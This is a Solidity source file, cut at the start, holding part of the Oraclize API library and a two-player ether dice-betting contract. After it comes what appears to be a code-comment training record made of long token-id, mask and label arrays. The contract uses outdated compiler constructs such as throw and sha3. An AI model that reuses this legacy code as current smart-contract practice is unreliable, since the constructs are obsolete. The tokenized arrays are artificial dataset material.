for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
// Convert from seconds to ledger timer ticks
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1; //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
if (prefix.length != n_random_bytes) throw;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
// Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
// Buffer too small
throw; // Should be a better way?
}
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
// </ORACLIZE_API>
contract Dice is usingOraclize {
//Definition of Constant======================================================================================================
uint constant INVALID_BETPRICE_ID = 999999;//Invalid bet amount ID
uint constant INVALID_BET_ID = 0;//Invalid bet ID
//Bet Status
uint constant BET_STATE_WAITPAIR = 0;//Wait for a challenger
uint constant BET_STATE_WAITORACLIZE = 1;//Wait for the result
uint constant BET_STATE_END = 2;//End successfully
uint constant BET_STATE_CANCEL_BY_PLAYER = 3;//Canceled by the player
uint constant BET_STATE_CANCEL_BY_OWNER = 4;//Canceled by the contract owner
uint constant BET_STATE_CANCEL_BY_ORACLIZE_ERROR_RANDOM_NUMBER = 5;//Canceled due to random number not being verified
uint constant BET_STATE_CANCEL_BY_ORACLIZE_ERROR_FEE = 6;//Canceled due to service fee is more than the bet amount
uint constant BET_STATE_CANCEL_BY_RANDOM_NUMBER_A_EUQAL_B = 7;//Canceled due to ending in a draw
//Variables of Contract Management===================================================================================================
address public owner;//Contract Owner
bool public isStopped;//Pause the Contract
//Variables of Bet===================================================================================================
//Definition of Bet Storage Structure
struct Bet {
uint betPrice;//Bet Amount
uint betState;//Bet Status
address playerAddressA;//Address of Player A
address playerAddressB;//Address of Player B
uint numberRolled;//Returned random numbers from Oraclize
uint oraclizeFee;//Service fee of random number
}
uint public betFee = 200; //Bet Transaction Fee (10000 = 100%)
uint[] public betPrices = [ 200 finney , 500 finney, 1000 finney];//Bet Amount Option
uint[] public waitPairBetIDs = [ INVALID_BET_ID , INVALID_BET_ID ,INVALID_BET_ID];//Current Bet ID that waiting for matching of each option
uint public oraclizeCallbackGasLimit = 200000;//GasLimit of Oraclize
Bet[] public bets ;//Save all bet data in chronological order
mapping (bytes32 => uint) public oraclizeQueryID2BetID;// Mapping of random number query ID to Bet ID
mapping (address => uint) public address2SendErrorValue;// Mapping of address to SendErrorValue
//Event Notification======================================================================================================
event LOG_ORACLIZE_CALLBACK(uint indexed betid , bytes32 _queryId, string _result, bytes _proof);
event LOG_SEND_ERROR(uint indexed betid , address indexed player, uint value);
event LOG_SET_SEND_ERROR_VALUE(address indexed player, uint value);
//Constructor =====================================================================================================
function Dice() {
oraclize_setProof(proofType_Ledger); // sets the Ledger authenticity proof in the constructor
owner = msg.sender;
bets.push(Bet(0,0,address(0x0),address(0x0),0,0));//Bet 0 is invalid
}
//Function Modification=====================================================================================================
modifier onlyIfNotStopped {
if (isStopped) throw;
_;
}
modifier onlyOwner {
if (owner != msg.sender) throw;
_;
}
modifier onlyBetCanCancel(uint betid) {
if((bets[betid].betState != BET_STATE_WAITPAIR)&&
(bets[betid].betState != BET_STATE_WAITORACLIZE)
) throw;//Cannot cancel
_;
}
//Contract Management=====================================================================================================
function stopContract() public
onlyOwner {
isStopped = true;
}
function resumeContract() public
onlyOwner {
isStopped = false;
}
function changeOwnerAddress(address newOwner) public
onlyOwner {
if (newOwner == address(0x0)) throw;
owner = newOwner;
}
//Bet Management=====================================================================================================
function setBetFee(uint newfee) public
onlyOwner
{
betFee = newfee;
}
function setOraclizeCallbackGasLimit(uint newgaslimit) public
onlyOwner
{
oraclizeCallbackGasLimit = newgaslimit;
}
function setOraclizeCallbackGasPrice(uint newgasprice) public
onlyOwner
{
oraclize_setCustomGasPrice(newgasprice);
}
//Contract Owner withdraws the profit from the contract and sent to the specific account
function getProfitToAddress(uint profit , address receiver) public
onlyOwner
{
//Cannot withdraw the pending bets
if(this.balance - profit < getBetWaitEndEther()) throw;
receiver.transfer(profit);
}
//Withdraw all profit to the owner
function getProfit() public
onlyOwner
{
owner.transfer(this.balance - getBetWaitEndEther());
}
//Cancel all pending bets to modify the bet options
function clearWaitPairBets() public
onlyOwner
{
for( uint i = 0 ;i<waitPairBetIDs.length;i++){
//Cancel all pending bets of this amount option
while(waitPairBetIDs[i] != INVALID_BET_ID){
cancelBetByOwner(waitPairBetIDs[i]);
}
}
}
function setBetPrices(uint[] newprices) public
onlyOwner
{
//Set new amount option only while no bet pending
uint i=0;
for( ;i<waitPairBetIDs.length;i++){
if(waitPairBetIDs[i] != INVALID_BET_ID)
throw;
}
//Set new bet amount option
betPrices = newprices;
//Reset pending bet ID after setting up new bet amount option
waitPairBetIDs = new uint[](betPrices.length);
for(i = 0 ;i<waitPairBetIDs.length;i++){
waitPairBetIDs[i] = INVALID_BET_ID;
}
}
function setSendErrorValue(address player , uint value) public
onlyOwner
{
address2SendErrorValue[player] = value;
LOG_SET_SEND_ERROR_VALUE(player,value);
}
//Place the Bet=====================================================================================================
function() public
payable
{
bet();
}
function bet() public
payable
onlyIfNotStopped
{
//Verify the Bet
uint betpriceid = getBetPriceID(msg.value);
if(betpriceid != INVALID_BETPRICE_ID){
//Verified; place the bet
doBet(betpriceid);
}else{
//Refund If invalid bet and not from the contract owner; if it is from the contract owner, do not refund (for funding purpose)
if (owner != msg.sender) throw;
}
}
function doBet(uint betpriceid)
private
{
//Start matching if there is pending bet that not from you
uint waitpairbetid = waitPairBetIDs[betpriceid];
if ((waitpairbetid != INVALID_BET_ID )&&(bets[waitpairbetid].playerAddressA != msg.sender)){
bets[waitpairbetid].betState = BET_STATE_WAITORACLIZE;
bets[waitpairbetid].playerAddressB = msg.sender;
uint oraclizeFee = getOraclizePrice();
if (oraclizeFee > msg.value ) {
//Invalid if the service fee of random number is more than the bet amount; cancel the bet without deducting the commission
cancelBet(waitpairbetid,false,BET_STATE_CANCEL_BY_ORACLIZE_ERROR_FEE);
}else{
//Random Number Query
bytes32 oraclizeQueryID = oraclize_newRandomDSQuery(0, 2, oraclizeCallbackGasLimit); // this function internally generates the correct oraclize_query and returns its queryId
oraclizeQueryID2BetID[ oraclizeQueryID ] = waitpairbetid;//Save the mapping of Query ID to Bet ID
bets[waitpairbetid].oraclizeFee = oraclizeFee;
//Update waitPairBetIDs
findNextwaitPairBetIDs(betpriceid , waitpairbetid);
}
}else {
//Generate New Bet
bets.push( Bet(
msg.value,//Bet Amount
BET_STATE_WAITPAIR,//Bet Status
msg.sender,//Address of Player A
address(0x0),//Address of Player B
0,//Random Number
0//Service Fee of Random Number Query
));
//Update waitPairBetIDs
if (waitpairbetid == INVALID_BET_ID )
waitPairBetIDs[betpriceid] = bets.length - 1;
}
}
function getBetPriceID(uint sendvalue)
private
returns (uint)
{
for(uint i = 0;i < betPrices.length;i++){
if(betPrices[i]==sendvalue)
return i;
}
return INVALID_BETPRICE_ID;
}
function findNextwaitPairBetIDs(uint betpriceid,uint betid)
private
{
for(uint i = betid+1 ; i< bets.length ; i++){
if( ( bets[i].betPrice == betPrices[betpriceid])&&(bets[i].betState == BET_STATE_WAITPAIR)){
waitPairBetIDs[betpriceid] = i;
return;
}
}
//No new pending bet
waitPairBetIDs[betpriceid] = INVALID_BET_ID;
}
//Callback of Oraclize Random Number=========================================================================================
function __callback(bytes32 _queryId, string _result, bytes _proof) public
{
//Only Oraclize can use callback
if (msg.sender != oraclize_cbAddress()) throw;
uint betid = oraclizeQueryID2BetID[_queryId];
//Verify the Bet
if(bets[betid].playerAddressA == address(0x0)) throw;
if(bets[betid].playerAddressB == address(0x0)) throw;
if(bets[betid].betState != BET_STATE_WAITORACLIZE) throw;
//Record the log of Oraclize callback data
LOG_ORACLIZE_CALLBACK(betid,_queryId,_result,_proof);
if ( oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
//Invalid random number; cancel the bet and deduct the service fee
cancelBet(betid,false,BET_STATE_CANCEL_BY_ORACLIZE_ERROR_RANDOM_NUMBER);
} else {
// the proof verification has passed
uint maxRange = 2**(8 * 2); // this is the highest uint we want to get. It should never be greater than 2^(8*N), where N is the number of random bytes we had asked the datasource to return
uint randomNumber = uint(sha3(_result)) % maxRange; // this is an efficient way to get the uint out in the [0, maxRange] range
//The left 8 digits is A’s result and the right 8 digits is B’s result
//The bigger number wins; equal means a draw
uint randomA = randomNumber >> 8;
uint randomB = randomNumber & 0x00FF;
//Save Bet Result
bets[betid].numberRolled = randomNumber;
//Send Prize
//Prize = Bet Amount - Transaction Fee - Service Fee
uint winAmount = 2 * bets[betid].betPrice - 2 * ( bets[betid].betPrice * betFee / 10000 ) - bets[betid].oraclizeFee;
bool senderror = false;
if(randomA == randomB){
//A game ended in a draw will deduct the commission
cancelBet(betid,true,BET_STATE_CANCEL_BY_RANDOM_NUMBER_A_EUQAL_B);
}else{
address win;
address lose;
if(randomA > randomB){
win = bets[betid].playerAddressA;
lose = bets[betid].playerAddressB;
}else{
win = bets[betid].playerAddressB;
lose = bets[betid].playerAddressA;
}
//Send coin to the winner
if(!win.send(winAmount)){
//Failed to send coin
address2SendErrorValue[win] += winAmount;
LOG_SEND_ERROR(betid,win,winAmount);
}
//Send coin to the loser
if(!lose.send(1)){
//Failed to send coin
address2SendErrorValue[lose] += 1;
LOG_SEND_ERROR(betid,lose,1);
}
//Successfully ended
bets[betid].betState = BET_STATE_END;
}
}
}
//Cancel the Bet=====================================================================================================
//Player cancels the bet
function cancelBetByPlayer(uint betid) public
onlyBetCanCancel(betid)
{
if (bets[betid].playerAddressA == msg.sender)
cancelBetByA(betid);
else if (bets[betid].playerAddressB == msg.sender)
cancelBetByB(betid);
else
throw;
}
function cancelBetByA(uint betid)
private
{
if(bets[betid].playerAddressB != address(0x0)){
//If there is a Player B, the Player B turns into a Player A and waits for the matching
bets[betid].playerAddressA = bets[betid].playerAddressB;
bets[betid].playerAddressB = address(0x0);
bets[betid].betState = BET_STATE_WAITPAIR;
//Update waitPairBetIDs
uint betpriceid = getBetPriceID(bets[betid].betPrice);
waitPairBetIDs[betpriceid] = betid;
}else{
//if there is no Player B, cancel the bet and update waitPairBetIDs
bets[betid].betState = BET_STATE_CANCEL_BY_PLAYER;
refreshWaitPairBetIDsByCancelBet(betid);
}
//Refund to Player A
sendCancelValue(bets[betid].playerAddressA ,betid,false);
}
function cancelBetByB(uint betid)
private
{
//If Player B cancels the bet, Player A restarts the waiting of the matching
bets[betid].playerAddressB = address(0x0);
bets[betid].betState = BET_STATE_WAITPAIR;
//Update waitPairBetIDs
uint betpriceid = getBetPriceID(bets[betid].betPrice);
waitPairBetIDs[betpriceid] = betid;
//Refund to Player B
sendCancelValue(bets[betid].playerAddressB ,betid,false);
}
function cancelBetByOwner(uint betid) public
onlyOwner
{
//Cancel the bet and update pending Bet IDs
cancelBet(betid,false,BET_STATE_CANCEL_BY_OWNER);
}
function cancelBet(uint betid,bool fee,uint betstate)
private
onlyBetCanCancel(betid)
{
//Cancel Player A
sendCancelValue(bets[betid].playerAddressA ,betid,fee);
//Cancel Player B if there is one
if(bets[betid].playerAddressB != address(0x0)){
sendCancelValue(bets[betid].playerAddressB ,betid,fee);
}
bets[betid].betState = betstate;
//Update waitPairBetIDs
refreshWaitPairBetIDsByCancelBet(betid);
}
function refreshWaitPairBetIDsByCancelBet(uint betid)
private
{
for( uint i = 0 ;i<waitPairBetIDs.length;i++){
if(waitPairBetIDs[i] == betid){
findNextwaitPairBetIDs(i , betid);
break;
}
}
}
function sendCancelValue(address receiver,uint betid,bool fee)
private
{
//Refund = Bet Amount – Transaction Fee – Service Fee
uint cancelAmount = bets[betid].betPrice - bets[betid].betPrice * (fee ? betFee : 0) / 10000 - bets[betid].oraclizeFee / 2;
if(!receiver.send(cancelAmount)){
address2SendErrorValue[receiver] += cancelAmount;
LOG_SEND_ERROR(betid,receiver,cancelAmount);
}
}
//Auxiliary Function of Contract Query=======================================================================================================
//Get Bet Info
function getBets(uint start , uint length) public
constant
returns(uint[])
{
//Verify the Parameter
if(start >= bets.length) throw;
if(length == 0) throw;
if(start+length > bets.length)
length = bets.length - start;
uint[] memory result = new uint[](length*6);
for (uint i = 0; i < length; i++){
result[i*6] = bets[start+i].betPrice;
result[i*6+1] = bets[start+i].betState;
result[i*6+2] = uint(bets[start+i].playerAddressA);
result[i*6+3] = uint(bets[start+i].playerAddressB);
result[i*6+4] = bets[start+i].numberRolled;
result[i*6+5] = bets[start+i].oraclizeFee;
}
return result;
}
function getBetsLength() public
constant
returns(uint)
{
return bets.length;
}
//Get the amount of pending bets
function getBetWaitEndEther() public
constant
returns(uint result)
{
for(uint i=1; i < bets.length ; i++){
if( bets[i].betState == BET_STATE_WAITPAIR ){
result += bets[i].betPrice;
}else if ( bets[i].betState == BET_STATE_WAITORACLIZE ){
result += bets[i].betPrice * 2;
}
}
return result;
}
//Get Service Fee of Random Number
function getOraclizePrice() public
constant
returns (uint)
{
return oraclize_getPrice("random", oraclizeCallbackGasLimit);
}
} | Canceled due to random number not being verified
| uint constant BET_STATE_CANCEL_BY_ORACLIZE_ERROR_RANDOM_NUMBER = 5; | 2,345,194 | [
1,
23163,
6541,
358,
2744,
1300,
486,
3832,
13808,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5381,
605,
1584,
67,
7998,
67,
25268,
67,
6486,
67,
916,
2226,
2053,
3794,
67,
3589,
67,
54,
28159,
67,
9931,
273,
1381,
31,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
